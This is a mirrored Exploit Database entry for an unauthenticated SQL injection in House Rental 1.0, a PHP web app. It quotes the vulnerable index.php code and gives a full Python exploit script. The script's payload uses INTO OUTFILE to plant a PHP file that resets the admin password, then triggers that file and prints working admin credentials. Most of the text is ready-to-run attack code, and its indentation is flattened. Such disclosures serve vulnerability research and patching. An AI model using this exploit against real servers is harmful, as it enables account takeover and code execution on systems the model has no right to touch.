House Rental 1.0 – ‘keywords’ SQL Injection

Exploit Database
117 阅读

作者： boku

日期： 2020-11-27
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/49117/

# Exploit Title: House Rental 1.0 - 'keywords' SQL Injection

# Exploit Author: Bobby Cooke (boku) & Adeeb Shah (@hyd3sec)

# Date: 2020-08-07

# Vendor Homepage: https://projectworlds.in

# Software Link: https://projectworlds.in/wp-content/uploads/2019/06/home-rental.zip

# Version: 1.0

# Tested On: Windows 10 Pro (x64_86) + XAMPP | Python 2.7

# CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

# OWASP Top Ten 2017: A1:2017-Injection

# CVSS Base Score: 10.0 | Impact Subscore: 6.0 | Exploitability Subscore: 3.9

# CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

# Vulnerability Description:

# House Rental v1.0 suffers from an unauthenticated SQL Injection vulnerability allowing remote attackers

# to execute arbitrary code on the hosting webserver via sending a malicious POST request.

# Vulnerable Source Code:

# /config/config.php

# 11try {

# 12 $connect = new PDO("mysql:host=".dbhost."; dbname=".dbname, dbuser, dbpass);

# 13 $connect->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

# /index.php

#5 if(isset($_POST['search'])) {

#7 $keywords = $_POST['keywords'];

# 11 $keyword = explode(',', $keywords);

# 12 $concats = "(";

# 13 $numItems = count($keyword);

# 15 foreach ($keyword as $key => $value) {

# 17 if(++$i === $numItems){

# 18$concats .= "'".$value."'";

# 19 }else{

# 20 $concats .= "'".$value."',";

# 23 $concats .= ")";

# 47 $stmt = $connect->prepare("SELECT * FROM room_rental_registrations_apartment WHERE country IN $concats OR country IN $loc OR state IN $concats OR state IN $loc OR city IN $concats OR city IN $loc OR address IN $concats OR address IN $loc OR rooms IN $concats OR landmark IN $concats OR landmark IN $loc OR rent IN $concats OR deposit IN $concats");

# 48 $stmt->execute();

import requests, sys, re, json

from colorama import Fore, Back, Style

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]

S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]

ok = S[3]+F[2]+')'+F[5]+'+++'+F[2]+'['+F[8]+'========> '+S[0]+F[0]

err= S[3]+F[2]+'<========'+F[2]+'('+F[5]+'+++'+F[2]+'( '+F[0]+S[0]

def sig():

SIG= F[2]+".-----.._ ,--."+F[5]+".__.__________\n"

SIG += F[2]+"|..>"+F[4]+"___"+F[2]+" || .--. "+F[5]+"||__ ___.__. __| _\\_____\\______ ________\n"

SIG += F[2]+"||.','"+F[4]+"-'"+F[2]+"* *"+F[4]+"'-."+F[2]+" |//__ __ "+F[5]+"||< ||/ __ |_(__< /____/ __ _/ ___\\\n"

SIG += F[2]+"|<"+F[4]+"/ "+F[2]+"***"+F[4]+" \\ "+F[2]+"/ \\/ \\"+F[5]+"| Y\\___/ /_/ | / \\\\___ \\\\___\\\\___\n"

SIG += F[2]+"||> ) "+F[2]+"* *"+F[4]+" /"+F[2]+"\\\\ "+F[5]+"|___|/ ____\____ |/______/____>\\___\\___>\n"

SIG += F[2]+"|____..- "+F[4]+"'-.._..-'"+F[2]+"_|\\___|._..\\___\\"+F[5]+" \\/\\/ \\/ \\/ \\/ \\/\\/\n"

SIG += F[2]+""+F[2]+"_______github.com/boku7_____"+F[5]+" _______github.com/hyd3sec____\n_"+F[0]+S[0]

return SIG

def header():

head = S[3]+F[2]+' ---House Rental v1.0 | SQL Injection - Change Admin Password ---\n'+S[0]

return head

def formatHelp(STRING):

return S[3]+F[2]+STRING+S[0]

if __name__ == "__main__":

print(header())

print(sig())

if len(sys.argv) != 2:

print(err+formatHelp("Usage:\t python %s <WEBAPP_URL>" % sys.argv[0]))

print(err+formatHelp("Example:\t python %s 'http://172.16.65.130/home-rental/'" % sys.argv[0]))

sys.exit(-1)

SERVER_URL= sys.argv[1]

if not re.match(r".*/$", SERVER_URL):

SERVER_URL = SERVER_URL+'/'

INDEX_URL = SERVER_URL + 'index.php'

EXECUTE_URL = SERVER_URL + 'execute.php'

LOGIN_URL = SERVER_URL + 'auth/login.php'

s = requests.Session()

get_session = s.get(INDEX_URL, verify=False)

pdata = {'keywords':'1337\') UNION SELECT all \'1,UPDATED,ADMIN,PASSWORD,TO,boku,aaaaaa,city,landmark,rent,deposit,plotnum,apartName,aptNum,rooms,floor,purpose,own,area,address,accomd,<?php require "config/config.php";$stmt=$connect->prepare("UPDATE users set password=\\\'17d8e2e8233d9a6ae428061cb2cdf226\\\' WHERE username=\\\'admin\\\'");$stmt->execute();?>,image,open,other,1,2020-08-01 14:42:11,2020-08-01 14:42:11,1\' into OUTFILE \'../../htdocs/home-rental/execute.php\' -- boku', 'location':'','search':'search'}

SQLi= s.post(url=INDEX_URL, data=pdata, verify=False)

if SQLi.status_code == 200:

print(ok+"Sent "+F[2]+S[3]+"SQL Injection"+F[0]+S[0]+" POST Request to "+F[5]+S[3]+INDEX_URL+F[0]+S[0]+" with "+F[2]+S[2]+"payload"+F[0]+S[0]+":")

print(S[3]+F[2]+json.dumps(pdata, sort_keys=True, indent=4)+F[0]+S[0])

else:

print(err+'Cannot send payload to webserver.')

sys.exit(-1)

try:

print(ok+"Executing "+F[2]+S[3]+"SQL Injection"+F[0]+S[0]+" payload to change "+F[2]+S[2]+"admin password"+F[0]+S[0])

EXECUTE = s.get(url=EXECUTE_URL, verify=False)

except:

print(err+'Failed to connect to '++F[2]+S[3]+EXECUTE_URL+F[0]+S[0]+'to execute payload')

sys.exit(-1)

print(ok+F[2]+S[3]+"SQL Injection payload executed!"+F[0]+S[0])

print(ok+F[2]+S[3]+"Login at "+F[5]+S[3]+LOGIN_URL+F[0]+S[0]+" with creds: "+F[2]+S[2]+"admin:boku"+F[0]+S[0])